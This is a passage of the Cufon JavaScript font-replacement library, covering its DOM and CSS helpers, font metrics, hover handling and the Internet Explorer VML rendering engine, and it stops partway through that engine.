/*!
 * Copyright (c) 2011 Simo Kinnunen.
 * Licensed under the MIT license.
 *
 * @version ${Version}
 */

var Cufon = (function() {

	var api = function() {
		return api.replace.apply(null, arguments);
	};

	var DOM = api.DOM = {

		ready: (function() {

			var complete = false, readyStatus = { loaded: 1, complete: 1 };

			var queue = [], perform = function() {
				if (complete) return;
				complete = true;
				for (var fn; fn = queue.shift(); fn());
			};

			// Gecko, Opera, WebKit r26101+

			if (document.addEventListener) {
				document.addEventListener('DOMContentLoaded', perform, false);
				window.addEventListener('pageshow', perform, false); // For cached Gecko pages
			}

			// Old WebKit, Internet Explorer

			if (!window.opera && document.readyState) (function() {
				readyStatus[document.readyState] ? perform() : setTimeout(arguments.callee, 10);
			})();

			// Internet Explorer

			if (document.readyState && document.createStyleSheet) (function() {
				try {
					document.body.doScroll('left');
					perform();
				}
				catch (e) {
					setTimeout(arguments.callee, 1);
				}
			})();

			addEvent(window, 'load', perform); // Fallback

			return function(listener) {
				if (!arguments.length) perform();
				else complete ? listener() : queue.push(listener);
			};

		})(),

		root: function() {
			return document.documentElement || document.body;
		},

		strict: (function() {
			var doctype;
			// no doctype (doesn't always catch it though.. IE I'm looking at you)
			if (document.compatMode == 'BackCompat') return false;
			// WebKit, Gecko, Opera, IE9+
			doctype = document.doctype;
			if (doctype) {
				return !/frameset|transitional/i.test(doctype.publicId);
			}
			// IE<9, firstChild is the doctype even if there's an XML declaration
			doctype = document.firstChild;
			if (doctype.nodeType != 8 || /^DOCTYPE.+(transitional|frameset)/i.test(doctype.data)) {
				return false;
			}
			return true;
		})()

	};

	var CSS = api.CSS = {

		Size: function(value, base) {

			this.value = parseFloat(value);
			this.unit = String(value).match(/[a-z%]*$/)[0] || 'px';

			this.convert = function(value) {
				return value / base * this.value;
			};

			this.convertFrom = function(value) {
				return value / this.value * base;
			};

			this.toString = function() {
				return this.value + this.unit;
			};

		},

		addClass: function(el, className) {
			var current = el.className;
			el.className = current + (current && ' ') + className;
			return el;
		},

		color: cached(function(value) {
			var parsed = {};
			parsed.color = value.replace(/^rgba\((.*?),\s*([\d.]+)\)/, function($0, $1, $2) {
				parsed.opacity = parseFloat($2);
				return 'rgb(' + $1 + ')';
			});
			return parsed;
		}),

		// has no direct CSS equivalent.
		// @see http://msdn.microsoft.com/en-us/library/system.windows.fontstretches.aspx
		fontStretch: cached(function(value) {
			if (typeof value == 'number') return value;
			if (/%$/.test(value)) return parseFloat(value) / 100;
			return {
				'ultra-condensed': 0.5,
				'extra-condensed': 0.625,
				condensed: 0.75,
				'semi-condensed': 0.875,
				'semi-expanded': 1.125,
				expanded: 1.25,
				'extra-expanded': 1.5,
				'ultra-expanded': 2
			}[value] || 1;
		}),

		getStyle: function(el) {
			var view = document.defaultView;
			if (view && view.getComputedStyle) return new Style(view.getComputedStyle(el, null));
			if (el.currentStyle) return new Style(el.currentStyle);
			return new Style(el.style);
		},

		gradient: cached(function(value) {
			var gradient = {
				id: value,
				type: value.match(/^-([a-z]+)-gradient\(/)[1],
				stops: []
			}, colors = value.substr(value.indexOf('(')).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);
			for (var i = 0, l = colors.length, stop; i < l; ++i) {
				stop = colors[i].split('=', 2).reverse();
				gradient.stops.push([ stop[1] || i / (l - 1), stop[0] ]);
			}
			return gradient;
		}),

		quotedList: cached(function(value) {
			// doesn't work properly with empty quoted strings (""), but
			// it's not worth the extra code.
			var list = [], re = /\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g, match;
			while (match = re.exec(value)) list.push(match[3] || match[1]);
			return list;
		}),

		recognizesMedia: cached(function(media) {
			var el = document.createElement('style'), sheet, container, supported;
			el.type = 'text/css';
			el.media = media;
			try { // this is cached anyway
				el.appendChild(document.createTextNode('/**/'));
			} catch (e) {}
			container = elementsByTagName('head')[0];
			container.insertBefore(el, container.firstChild);
			sheet = (el.sheet || el.styleSheet);
			supported = sheet && !sheet.disabled;
			container.removeChild(el);
			return supported;
		}),

		removeClass: function(el, className) {
			var re = RegExp('(?:^|\\s+)' + className +  '(?=\\s|$)', 'g');
			el.className = el.className.replace(re, '');
			return el;
		},

		supports: function(property, value) {
			var checker = document.createElement('span').style;
			if (checker[property] === undefined) return false;
			checker[property] = value;
			return checker[property] === value;
		},

		textAlign: function(word, style, position, wordCount) {
			if (style.get('textAlign') == 'right') {
				if (position > 0) word = ' ' + word;
			}
			else if (position < wordCount - 1) word += ' ';
			return word;
		},

		textShadow: cached(function(value) {
			if (value == 'none') return null;
			var shadows = [], currentShadow = {}, result, offCount = 0;
			var re = /(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig;
			while (result = re.exec(value)) {
				if (result[0] == ',') {
					shadows.push(currentShadow);
					currentShadow = {};
					offCount = 0;
				}
				else if (result[1]) {
					currentShadow.color = result[1];
				}
				else {
					currentShadow[[ 'offX', 'offY', 'blur' ][offCount++]] = result[2];
				}
			}
			shadows.push(currentShadow);
			return shadows;
		}),

		textTransform: (function() {
			var map = {
				uppercase: function(s) {
					return s.toUpperCase();
				},
				lowercase: function(s) {
					return s.toLowerCase();
				},
				capitalize: function(s) {
					return s.replace(/(?:^|\s)./g, function($0) {
						return $0.toUpperCase();
					});
				}
			};
			return function(text, style) {
				var transform = map[style.get('textTransform')];
				return transform ? transform(text) : text;
			};
		})(),

		whiteSpace: (function() {
			var ignore = {
				inline: 1,
				'inline-block': 1,
				'run-in': 1
			};
			var wsStart = /^\s+/, wsEnd = /\s+$/;
			return function(text, style, node, previousElement, simple) {
				if (simple) return text.replace(wsStart, '').replace(wsEnd, ''); // @fixme too simple
				if (previousElement) {
					if (previousElement.nodeName.toLowerCase() == 'br') {
						text = text.replace(wsStart, '');
					}
				}
				if (ignore[style.get('display')]) return text;
				if (!node.previousSibling) text = text.replace(wsStart, '');
				if (!node.nextSibling) text = text.replace(wsEnd, '');
				return text;
			};
		})()

	};

	CSS.ready = (function() {

		// don't do anything in Safari 2 (it doesn't recognize any media type)
		var complete = !CSS.recognizesMedia('all'), hasLayout = false;

		var queue = [], perform = function() {
			complete = true;
			for (var fn; fn = queue.shift(); fn());
		};

		var links = elementsByTagName('link'), styles = elementsByTagName('style');

		var checkTypes = {
			'': 1,
			'text/css': 1
		};

		function isContainerReady(el) {
			if (!checkTypes[el.type.toLowerCase()]) return true;
			return el.disabled || isSheetReady(el.sheet, el.media || 'screen');
		}

		function isSheetReady(sheet, media) {
			// in Opera sheet.disabled is true when it's still loading,
			// even though link.disabled is false. they stay in sync if
			// set manually.
			if (!CSS.recognizesMedia(media || 'all')) return true;
			if (!sheet || sheet.disabled) return false;
			try {
				var rules = sheet.cssRules, rule;
				if (rules) {
					// needed for Safari 3 and Chrome 1.0.
					// in standards-conforming browsers cssRules contains @-rules.
					// Chrome 1.0 weirdness: rules[<number larger than .length - 1>]
					// returns the last rule, so a for loop is the only option.
					search: for (var i = 0, l = rules.length; rule = rules[i], i < l; ++i) {
						switch (rule.type) {
							case 2: // @charset
								break;
							case 3: // @import
								if (!isSheetReady(rule.styleSheet, rule.media.mediaText)) return false;
								break;
							default:
								// only @charset can precede @import
								break search;
						}
					}
				}
			}
			catch (e) {} // probably a style sheet from another domain
			return true;
		}

		function allStylesLoaded() {
			// Internet Explorer's style sheet model, there's no need to do anything
			if (document.createStyleSheet) return true;
			// standards-compliant browsers
			var el, i;
			for (i = 0; el = links[i]; ++i) {
				if (el.rel.toLowerCase() == 'stylesheet' && !isContainerReady(el)) return false;
			}
			for (i = 0; el = styles[i]; ++i) {
				if (!isContainerReady(el)) return false;
			}
			return true;
		}

		DOM.ready(function() {
			// getComputedStyle returns null in Gecko if used in an iframe with display: none
			if (!hasLayout) hasLayout = CSS.getStyle(document.body).isUsable();
			if (complete || (hasLayout && allStylesLoaded())) perform();
			else setTimeout(arguments.callee, 10);
		});

		return function(listener) {
			if (complete) listener();
			else queue.push(listener);
		};

	})();

	function Font(data) {

		var face = this.face = data.face, wordSeparators = {
			'\u0020': 1,
			'\u00a0': 1,
			'\u3000': 1
		};

		this.glyphs = (function(glyphs) {
			var key, fallbacks = {
				'\u2011': '\u002d',
				'\u00ad': '\u2011'
			};
			for (key in fallbacks) {
				if (!hasOwnProperty(fallbacks, key)) continue;
				if (!glyphs[key]) glyphs[key] = glyphs[fallbacks[key]];
			}
			return glyphs;
		})(data.glyphs);

		this.w = data.w;
		this.baseSize = parseInt(face['units-per-em'], 10);

		this.family = face['font-family'].toLowerCase();
		this.weight = face['font-weight'];
		this.style = face['font-style'] || 'normal';

		this.viewBox = (function () {
			var parts = face.bbox.split(/\s+/);
			var box = {
				minX: parseInt(parts[0], 10),
				minY: parseInt(parts[1], 10),
				maxX: parseInt(parts[2], 10),
				maxY: parseInt(parts[3], 10)
			};
			box.width = box.maxX - box.minX;
			box.height = box.maxY - box.minY;
			box.toString = function() {
				return [ this.minX, this.minY, this.width, this.height ].join(' ');
			};
			return box;
		})();

		this.ascent = -parseInt(face.ascent, 10);
		this.descent = -parseInt(face.descent, 10);

		this.height = -this.ascent + this.descent;

		this.spacing = function(chars, letterSpacing, wordSpacing) {
			var glyphs = this.glyphs, glyph,
				kerning, k,
				jumps = [],
				width = 0, w,
				i = -1, j = -1, chr;
			while (chr = chars[++i]) {
				glyph = glyphs[chr] || this.missingGlyph;
				if (!glyph) continue;
				if (kerning) {
					width -= k = kerning[chr] || 0;
					jumps[j] -= k;
				}
				w = glyph.w;
				if (isNaN(w)) w = +this.w; // may have been a String in old fonts
				if (w > 0) {
					w += letterSpacing;
					if (wordSeparators[chr]) w += wordSpacing;
				}
				width += jumps[++j] = ~~w; // get rid of decimals
				kerning = glyph.k;
			}
			jumps.total = width;
			return jumps;
		};

	}

	function FontFamily() {

		var styles = {}, mapping = {
			oblique: 'italic',
			italic: 'oblique'
		};

		this.add = function(font) {
			(styles[font.style] || (styles[font.style] = {}))[font.weight] = font;
		};

		this.get = function(style, weight) {
			var weights = styles[style] || styles[mapping[style]]
				|| styles.normal || styles.italic || styles.oblique;
			if (!weights) return null;
			// we don't have to worry about "bolder" and "lighter"
			// because IE's currentStyle returns a numeric value for it,
			// and other browsers use the computed value anyway
			weight = {
				normal: 400,
				bold: 700
			}[weight] || parseInt(weight, 10);
			if (weights[weight]) return weights[weight];
			// http://www.w3.org/TR/CSS21/fonts.html#propdef-font-weight
			// Gecko uses x99/x01 for lighter/bolder
			var up = {
				1: 1,
				99: 0
			}[weight % 100], alts = [], min, max;
			if (up === undefined) up = weight > 400;
			if (weight == 500) weight = 400;
			for (var alt in weights) {
				if (!hasOwnProperty(weights, alt)) continue;
				alt = parseInt(alt, 10);
				if (!min || alt < min) min = alt;
				if (!max || alt > max) max = alt;
				alts.push(alt);
			}
			if (weight < min) weight = min;
			if (weight > max) weight = max;
			alts.sort(function(a, b) {
				return (up
					? (a >= weight && b >= weight) ? a < b : a > b
					: (a <= weight && b <= weight) ? a > b : a < b) ? -1 : 1;
			});
			return weights[alts[0]];
		};

	}

	function HoverHandler() {

		function contains(node, anotherNode) {
			try {
				if (node.contains) return node.contains(anotherNode);
				return node.compareDocumentPosition(anotherNode) & 16;
			}
			catch(e) {} // probably a XUL element such as a scrollbar
			return false;
		}

		// mouseover/mouseout (standards) mode
		function onOverOut(e) {
			var related = e.relatedTarget;
			// there might be no relatedTarget if the element is right next
			// to the window frame
			if (related && contains(this, related)) return;
			trigger(this, e.type == 'mouseover');
		}

		// mouseenter/mouseleave (probably ie) mode
		function onEnterLeave(e) {
			if (!e) e = window.event;
			// ie model, we don't have access to "this", but
			// mouseenter/leave doesn't bubble so it's fine.
			trigger(e.target || e.srcElement, e.type == 'mouseenter');
		}

		function trigger(el, hoverState) {
			// A timeout is needed so that the event can actually "happen"
			// before replace is triggered. This ensures that styles are up
			// to date.
			setTimeout(function() {
				var options = sharedStorage.get(el).options;
				if (hoverState) {
					options = merge(options, options.hover);
					options._mediatorMode = 1;
				}
				api.replace(el, options, true);
			}, 10);
		}

		this.attach = function(el) {
			if (el.onmouseenter === undefined) {
				addEvent(el, 'mouseover', onOverOut);
				addEvent(el, 'mouseout', onOverOut);
			}
			else {
				addEvent(el, 'mouseenter', onEnterLeave);
				addEvent(el, 'mouseleave', onEnterLeave);
			}
		};

		this.detach = function(el) {
			if (el.onmouseenter === undefined) {
				removeEvent(el, 'mouseover', onOverOut);
				removeEvent(el, 'mouseout', onOverOut);
			}
			else {
				removeEvent(el, 'mouseenter', onEnterLeave);
				removeEvent(el, 'mouseleave', onEnterLeave);
			}
		};

	}

	function ReplaceHistory() {

		var list = [], map = {};

		function filter(keys) {
			var values = [], key;
			for (var i = 0; key = keys[i]; ++i) values[i] = list[map[key]];
			return values;
		}

		this.add = function(key, args) {
			map[key] = list.push(args) - 1;
		};

		this.repeat = function() {
			var snapshot = arguments.length ? filter(arguments) : list, args;
			for (var i = 0; args = snapshot[i++];) api.replace(args[0], args[1], true);
		};

	}

	function Storage() {

		var map = {}, at = 0;

		function identify(el) {
			return el.cufid || (el.cufid = ++at);
		}

		this.get = function(el) {
			var id = identify(el);
			return map[id] || (map[id] = {});
		};

	}

	function Style(style) {

		var custom = {}, sizes = {};

		this.extend = function(styles) {
			for (var property in styles) {
				if (hasOwnProperty(styles, property)) custom[property] = styles[property];
			}
			return this;
		};

		this.get = function(property) {
			return custom[property] != undefined ? custom[property] : style[property];
		};

		this.getSize = function(property, base) {
			return sizes[property] || (sizes[property] = new CSS.Size(this.get(property), base));
		};

		this.isUsable = function() {
			return !!style;
		};

	}

	function addEvent(el, type, listener) {
		if (el.addEventListener) {
			el.addEventListener(type, listener, false);
		}
		else if (el.attachEvent) {
			// we don't really need "this" right now, saves code
			el.attachEvent('on' + type, listener);
		}
	}

	function attach(el, options) {
		if (options._mediatorMode) return el;
		var storage = sharedStorage.get(el);
		var oldOptions = storage.options;
		if (oldOptions) {
			if (oldOptions === options) return el;
			if (oldOptions.hover) hoverHandler.detach(el);
		}
		if (options.hover && options.hoverables[el.nodeName.toLowerCase()]) {
			hoverHandler.attach(el);
		}
		storage.options = options;
		return el;
	}

	function cached(fun) {
		var cache = {};
		return function(key) {
			if (!hasOwnProperty(cache, key)) cache[key] = fun.apply(null, arguments);
			return cache[key];
		};
	}

	function getFont(el, style) {
		var families = CSS.quotedList(style.get('fontFamily').toLowerCase()), family;
		for (var i = 0; family = families[i]; ++i) {
			if (fonts[family]) return fonts[family].get(style.get('fontStyle'), style.get('fontWeight'));
		}
		return null;
	}

	function elementsByTagName(query) {
		return document.getElementsByTagName(query);
	}

	function hasOwnProperty(obj, property) {
		return obj.hasOwnProperty(property);
	}

	function merge() {
		var merged = {}, arg, key;
		for (var i = 0, l = arguments.length; arg = arguments[i], i < l; ++i) {
			for (key in arg) {
				if (hasOwnProperty(arg, key)) merged[key] = arg[key];
			}
		}
		return merged;
	}

	function process(font, text, style, options, node, el) {
		var fragment = document.createDocumentFragment(), processed;
		if (text === '') return fragment;
		var separate = options.separate;
		var parts = text.split(separators[separate]), needsAligning = (separate == 'words');
		if (needsAligning && HAS_BROKEN_REGEXP) {
			// @todo figure out a better way to do this
			if (/^\s/.test(text)) parts.unshift('');
			if (/\s$/.test(text)) parts.push('');
		}
		for (var i = 0, l = parts.length; i < l; ++i) {
			processed = engines[options.engine](font,
				needsAligning ? CSS.textAlign(parts[i], style, i, l) : parts[i],
				style, options, node, el, i < l - 1);
			if (processed) fragment.appendChild(processed);
		}
		return fragment;
	}

	function removeEvent(el, type, listener) {
		if (el.removeEventListener) {
			el.removeEventListener(type, listener, false);
		}
		else if (el.detachEvent) {
			el.detachEvent('on' + type, listener);
		}
	}

	function replaceElement(el, options) {
		var name = el.nodeName.toLowerCase();
		if (options.ignore[name]) return;
		if (options.ignoreClass && options.ignoreClass.test(el.className)) return;
		if (options.onBeforeReplace) options.onBeforeReplace(el, options);
		var replace = !options.textless[name], simple = (options.trim === 'simple');
		var style = CSS.getStyle(attach(el, options)).extend(options);
		// may cause issues if the element contains other elements
		// with larger fontSize, however such cases are rare and can
		// be fixed by using a more specific selector
		if (parseFloat(style.get('fontSize')) === 0) return;
		var font = getFont(el, style), node, type, next, anchor, text, lastElement;
		var isShy = options.softHyphens, anyShy = false, pos, shy, reShy = /\u00ad/g;
		var modifyText = options.modifyText;
		if (!font) return;
		for (node = el.firstChild; node; node = next) {
			type = node.nodeType;
			next = node.nextSibling;
			if (replace && type == 3) {
				if (isShy && el.nodeName.toLowerCase() != TAG_SHY) {
					pos = node.data.indexOf('\u00ad');
					if (pos >= 0) {
						node.splitText(pos);
						next = node.nextSibling;
						next.deleteData(0, 1);
						shy = document.createElement(TAG_SHY);
						shy.appendChild(document.createTextNode('\u00ad'));
						el.insertBefore(shy, next);
						next = shy;
						anyShy = true;
					}
				}
				// Node.normalize() is broken in IE 6, 7, 8
				if (anchor) {
					anchor.appendData(node.data);
					el.removeChild(node);
				}
				else anchor = node;
				if (next) continue;
			}
			if (anchor) {
				text = anchor.data;
				if (!isShy) text = text.replace(reShy, '');
				text = CSS.whiteSpace(text, style, anchor, lastElement, simple);
				// modify text only on the first replace
				if (modifyText) text = modifyText(text, anchor, el, options);
				el.replaceChild(process(font, text, style, options, node, el), anchor);
				anchor = null;
			}
			if (type == 1) {
				if (node.firstChild) {
					if (node.nodeName.toLowerCase() == 'cufon') {
						engines[options.engine](font, null, style, options, node, el);
					}
					else arguments.callee(node, options);
				}
				lastElement = node;
			}
		}
		if (isShy && anyShy) {
			updateShy(el);
			if (!trackingShy) addEvent(window, 'resize', updateShyOnResize);
			trackingShy = true;
		}
		if (options.onAfterReplace) options.onAfterReplace(el, options);
	}

	function updateShy(context) {
		var shys, shy, parent, glue, newGlue, next, prev, i;
		shys = context.getElementsByTagName(TAG_SHY);
		// unfortunately there doesn't seem to be any easy
		// way to avoid having to loop through the shys twice.
		for (i = 0; shy = shys[i]; ++i) {
			shy.className = C_SHY_DISABLED;
			glue = parent = shy.parentNode;
			if (glue.nodeName.toLowerCase() != TAG_GLUE) {
				newGlue = document.createElement(TAG_GLUE);
				newGlue.appendChild(shy.previousSibling);
				parent.insertBefore(newGlue, shy);
				newGlue.appendChild(shy);
			}
			else {
				// get rid of double glue (edge case fix)
				glue = glue.parentNode;
				if (glue.nodeName.toLowerCase() == TAG_GLUE) {
					parent = glue.parentNode;
					while (glue.firstChild) {
						parent.insertBefore(glue.firstChild, glue);
					}
					parent.removeChild(glue);
				}
			}
		}
		for (i = 0; shy = shys[i]; ++i) {
			shy.className = '';
			glue = shy.parentNode;
			parent = glue.parentNode;
			next = glue.nextSibling || parent.nextSibling;
			// make sure we're comparing same types
			prev = (next.nodeName.toLowerCase() == TAG_GLUE) ? glue : shy.previousSibling;
			if (prev.offsetTop >= next.offsetTop) {
				shy.className = C_SHY_DISABLED;
				if (prev.offsetTop < next.offsetTop) {
					// we have an annoying edge case, double the glue
					newGlue = document.createElement(TAG_GLUE);
					parent.insertBefore(newGlue, glue);
					newGlue.appendChild(glue);
					newGlue.appendChild(next);
				}
			}
		}
	}

	function updateShyOnResize() {
		if (ignoreResize) return; // needed for IE
		CSS.addClass(DOM.root(), C_VIEWPORT_RESIZING);
		clearTimeout(shyTimer);
		shyTimer = setTimeout(function() {
			ignoreResize = true;
			CSS.removeClass(DOM.root(), C_VIEWPORT_RESIZING);
			updateShy(document);
			ignoreResize = false;
		}, 100);
	}

	var HAS_BROKEN_REGEXP = ' '.split(/\s+/).length == 0;
	var TAG_GLUE = 'cufonglue';
	var TAG_SHY = 'cufonshy';
	var C_SHY_DISABLED = 'cufon-shy-disabled';
	var C_VIEWPORT_RESIZING = 'cufon-viewport-resizing';

	var sharedStorage = new Storage();
	var hoverHandler = new HoverHandler();
	var replaceHistory = new ReplaceHistory();
	var initialized = false;
	var trackingShy = false;
	var shyTimer;
	var ignoreResize = false;

	var engines = {}, fonts = {}, defaultOptions = {
		autoDetect: false,
		engine: null,
		forceHitArea: false,
		hover: false,
		hoverables: {
			a: true
		},
		ignore: {
			applet: 1,
			canvas: 1,
			col: 1,
			colgroup: 1,
			head: 1,
			iframe: 1,
			map: 1,
			noscript: 1,
			optgroup: 1,
			option: 1,
			script: 1,
			select: 1,
			style: 1,
			textarea: 1,
			title: 1,
			pre: 1
		},
		ignoreClass: null,
		modifyText: null,
		onAfterReplace: null,
		onBeforeReplace: null,
		printable: true,
		selector: (
				window.Sizzle
			||	(window.jQuery && function(query) { return jQuery(query); }) // avoid noConflict issues
			||	(window.dojo && dojo.query)
			||	(window.glow && glow.dom && glow.dom.get)
			||	(window.Ext && Ext.query)
			||	(window.YAHOO && YAHOO.util && YAHOO.util.Selector && YAHOO.util.Selector.query)
			||	(window.$$ && function(query) { return $$(query); })
			||	(window.$ && function(query) { return $(query); })
			||	(document.querySelectorAll && function(query) { return document.querySelectorAll(query); })
			||	elementsByTagName
		),
		separate: 'words', // 'none' and 'characters' are also accepted
		softHyphens: true,
		textless: {
			dl: 1,
			html: 1,
			ol: 1,
			table: 1,
			tbody: 1,
			thead: 1,
			tfoot: 1,
			tr: 1,
			ul: 1
		},
		textShadow: 'none',
		trim: 'advanced'
	};

	var separators = {
		// The first pattern may cause unicode characters above
		// code point 255 to be removed in Safari 3.0. Luckily enough
		// Safari 3.0 does not include non-breaking spaces in \s, so
		// we can just use a simple alternative pattern.
		words: /\s/.test('\u00a0') ? /[^\S\u00a0]+/ : /\s+/,
		characters: '',
		none: /^/
	};

	api.now = function() {
		DOM.ready();
		return api;
	};

	api.refresh = function() {
		replaceHistory.repeat.apply(replaceHistory, arguments);
		return api;
	};

	api.registerEngine = function(id, engine) {
		if (!engine) return api;
		engines[id] = engine;
		return api.set('engine', id);
	};

	api.registerFont = function(data) {
		if (!data) return api;
		var font = new Font(data), family = font.family;
		if (!fonts[family]) fonts[family] = new FontFamily();
		fonts[family].add(font);
		return api.set('fontFamily', '"' + family + '"');
	};

	api.replace = function(elements, options, ignoreHistory) {
		options = merge(defaultOptions, options);
		if (!options.engine) return api; // there's no browser support so we'll just stop here
		if (!initialized) {
			CSS.addClass(DOM.root(), 'cufon-active cufon-loading');
			CSS.ready(function() {
				// fires before any replace() calls, but it doesn't really matter
				CSS.addClass(CSS.removeClass(DOM.root(), 'cufon-loading'), 'cufon-ready');
			});
			initialized = true;
		}
		if (options.hover) options.forceHitArea = true;
		if (options.autoDetect) delete options.fontFamily;
		if (typeof options.ignoreClass == 'string') {
			options.ignoreClass = new RegExp('(?:^|\\s)(?:' + options.ignoreClass.replace(/\s+/g, '|') + ')(?:\\s|$)');
		}
		if (typeof options.textShadow == 'string') {
			options.textShadow = CSS.textShadow(options.textShadow);
		}
		if (typeof options.color == 'string' && /^-/.test(options.color)) {
			options.textGradient = CSS.gradient(options.color);
		}
		else delete options.textGradient;
		if (!ignoreHistory) replaceHistory.add(elements, arguments);
		if (elements.nodeType || typeof elements == 'string') elements = [ elements ];
		CSS.ready(function() {
			for (var i = 0, l = elements.length; i < l; ++i) {
				var el = elements[i];
				if (typeof el == 'string') api.replace(options.selector(el), options, true);
				else replaceElement(el, options);
			}
		});
		return api;
	};

	api.set = function(option, value) {
		defaultOptions[option] = value;
		return api;
	};

	return api;

})();

Cufon.registerEngine('vml', (function() {

	var ns = document.namespaces;
	if (!ns) return;
	ns.add('cvml', 'urn:schemas-microsoft-com:vml');
	ns = null;

	var check = document.createElement('cvml:shape');
	check.style.behavior = 'url(#default#VML)';
	if (!check.coordsize) return; // VML isn't supported
	check = null;

	var HAS_BROKEN_LINEHEIGHT = (document.documentMode || 0) < 8;

	document.write(('<style type="text/css">' +
		'cufoncanvas{text-indent:0;}' +
		'@media screen{' +
			'cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}' +
			'cufoncanvas{position:absolute;text-align:left;}' +
			'cufon{display:inline-block;position:relative;vertical-align:' +
			(HAS_BROKEN_LINEHEIGHT
				? 'middle'
				: 'text-bottom') +
			';}' +
			'cufon cufontext{position:absolute;left:-10000in;font-size:1px;text-align:left;}' +
			'cufonshy.cufon-shy-disabled,.cufon-viewport-resizing cufonshy{display:none;}' +
			'cufonglue{white-space:nowrap;display:inline-block;}' +
			'.cufon-viewport-resizing cufonglue{white-space:normal;}' +
			'a cufon{cursor:pointer}' + // ignore !important here
		'}' +
		'@media print{' +
			'cufon cufoncanvas{display:none;}' +
		'}' +
	'</style>').replace(/;/g, '!important;'));

	function getFontSizeInPixels(el, value) {
		return getSizeInPixels(el, /(?:em|ex|%)$|^[a-z-]+$/i.test(value) ? '1em' : value);
	}

	// Original by Dead Edwards.
	// Combined with getFontSizeInPixels it also works with relative units.
	function getSizeInPixels(el, value) {
		if (!isNaN(value) || /px$/i.test(value)) return parseFloat(value);
		var style = el.style.left, runtimeStyle = el.runtimeStyle.left;
		el.runtimeStyle.left = el.currentStyle.left;
		el.style.left = value.replace('%', 'em');
		var result = el.style.pixelLeft;
		el.style.left = style;
		el.runtimeStyle.left = runtimeStyle;
		return result;
	}

	function getSpacingValue(el, style, size, property) {
		var key = 'computed' + property, value = style[key];
		if (isNaN(value)) {
			value = style.get(property);
			style[key] = value = (value == 'normal') ? 0 : ~~size.convertFrom(getSizeInPixels(el, value));
		}
		return value;
	}

	var fills = {};

	function gradientFill(gradient) {
		var id = gradient.id;
		if (!fills[id]) {
			var stops = gradient.stops, fill = document.createElement('cvml:fill'), colors = [];
			fill.type = 'gradient';
			fill.angle = 180;
			fill.focus = '0';
			fill.method = 'none';
			fill.color = stops[0][1];
			for (var j = 1, k = stops.length - 1; j < k; ++j) {
				colors.push(stops[j][0] * 100 + '% ' + stops[j][1]);
			}
			fill.colors = colors.join(',');
			fill.color2 = stops[k][1];
			fills[id] = fill;
		}
		return fills[id];
	}

	return function(font, text, style, options, node, el, hasNext) {

		var redraw = (text === null);

		if (redraw) text = node.alt;

		var viewBox = font.viewBox;

		var size = style.computedFontSize || (style.computedFontSize = new Cufon.CSS.Size(getFontSizeInPixels(el, style.get('fontSize')) + 'px', font.baseSize));

		var wrapper, canvas;

		if (redraw) {
			wrapper = node;
			canvas = node.firstChild;
		}
		else {
			wrapper = document.createElement('cufon');
			wrapper.className = 'cufon cufon-vml';
			wrapper.alt = text;

			canvas = document.createElement('cufoncanvas');
			wrapper.appendChild(canvas);

			if (options.printable) {
				var print = document.createElement('cufontext');
				print.appendChild(document.createTextNode(text));
				wrapper.appendChild(print);
			}

			// ie6, for some reason, has trouble rendering the last VML element in the document.
			// we can work around this by injecting a dummy element where needed.
			// @todo find a better solution
			if (!hasNext) wrapper.appendChild(document.createElement('cvml:shape'));
		}

		var wStyle = wrapper.style;
		var cStyle = canvas.style;

		var height = size.convert(viewBox.height), roundedHeight = Math.ceil(height);
		var roundingFactor = roundedHeight / height;
		var stretchFactor = roundingFactor * Cufon.CSS.fontStretch(style.get('fontStretch'));
		var minX = viewBox.minX, minY = viewBox.minY;

		cStyle.height = roundedHeight;
		cStyle.top = Math.round(size.convert(minY - font.ascent));
		cStyle.left = Math.round(size.convert(minX));

		wStyle.height = size.convert(font.height) + 'px';

		var color = style.get('color');
		var chars = Cufon.CSS.textTransform(text, style).split('');

		var jumps = font.spacing(chars,
			getSpacingValue(el, style, size, 'letterSpacing'),
			getSpacingValue(el, style, size, 'wordSpacing')
		);

		if (!jumps.length) return null;

		var width = jumps.total;
		var fullWidth = -minX + width + (viewBox.width - jumps[jumps.length - 1]);

		var shapeWidth = size.convert(fullWidth * stretchFactor), roundedShapeWidth = Math.round(shapeWidth);

		var coordSize = fullWidth + ',' + viewBox.height, coordOrigin;
		var stretch = 'r' + coordSize + 'ns';

		var fill = options.textGradient && gradientFill(options.textGradient);

		var glyphs = font.glyphs, offsetX = 0;
		var shadows = options.textShadow;
		var i = -1, j = 0, chr;

		while (chr = chars[++i]) {

			var glyph = glyphs[chars[i]] || font.missingGlyph, shape;
			if (!glyph) continue;

			if (redraw) {
				// some glyphs may be missing so we can't use i
				shape = canvas.childNodes[j];
				while (shape.firstChild) shape.removeChild(shape.firstChild); // shadow, fill
			}
			else {
				shape = document.createElement('cvml:shape');
				canvas.appendChild(shape);
			}

			shape.stroked = 'f';
			shape.coordsize = coordSize;
			shape.coordorigin = coordOrigin = (minX - offsetX) + ',' + minY;
			shape.path = (glyph.d ? 'm' + glyph.d + 'xe' : '') + 'm' + coordOrigin + stretch;
			shape.fillcolor = color;

			if (fill) shape.appendChild(fill.cloneNode(false));

			// it's important to not set top/left or IE8 will grind to a halt
			var sStyle = shape.style;
			sStyle.width = roundedShapeWidth;
			sStyle.height = roundedHeight;

			if (shadows) {
				// due to the limitations of the VML shadow element there
				// can only be two visible shadows. opacity is shared
				// for all shadows.
				var shadow1 = shadows[0], shadow2 = shadows[1];
				var color1 = Cufon.CSS.color(shadow1.color), color2;
				var shadow = document.createElement('cvml:shadow');
				shadow.on = 't';
				shadow.color = color1.color;
				shadow.offset = shadow1.offX + ',' + shadow1.offY;
				if (shadow2) {
					color2 = Cufon.CSS.color(shadow2.color);
					shadow.type = 'double';
					shadow.color2 = color2.color;
					shadow.offset2 = shadow2.offX + ',' + shadow2.offY;
				}
				shadow.opacity = color1.opacity || (color2 && color2.opacity) || 1;
				shape.appendChild(shadow);
			}

			offsetX += jumps[j++];
		}

		// addresses flickering issues on :hover

		var cover = shape.nextSibling, coverFill, vStyle;

		if (options.forceHitArea) {

			if (!cover) {
				cover = document.createElement('cvml:rect');
				cover.stroked = 'f';
				cover.className = 'cufon-vml-cover';
				coverFill = document.createElement('cvml:fill');
				coverFill.opacity = 0;
				cover.appendChild(coverFill);
				canvas.appendChild(cover);
			}

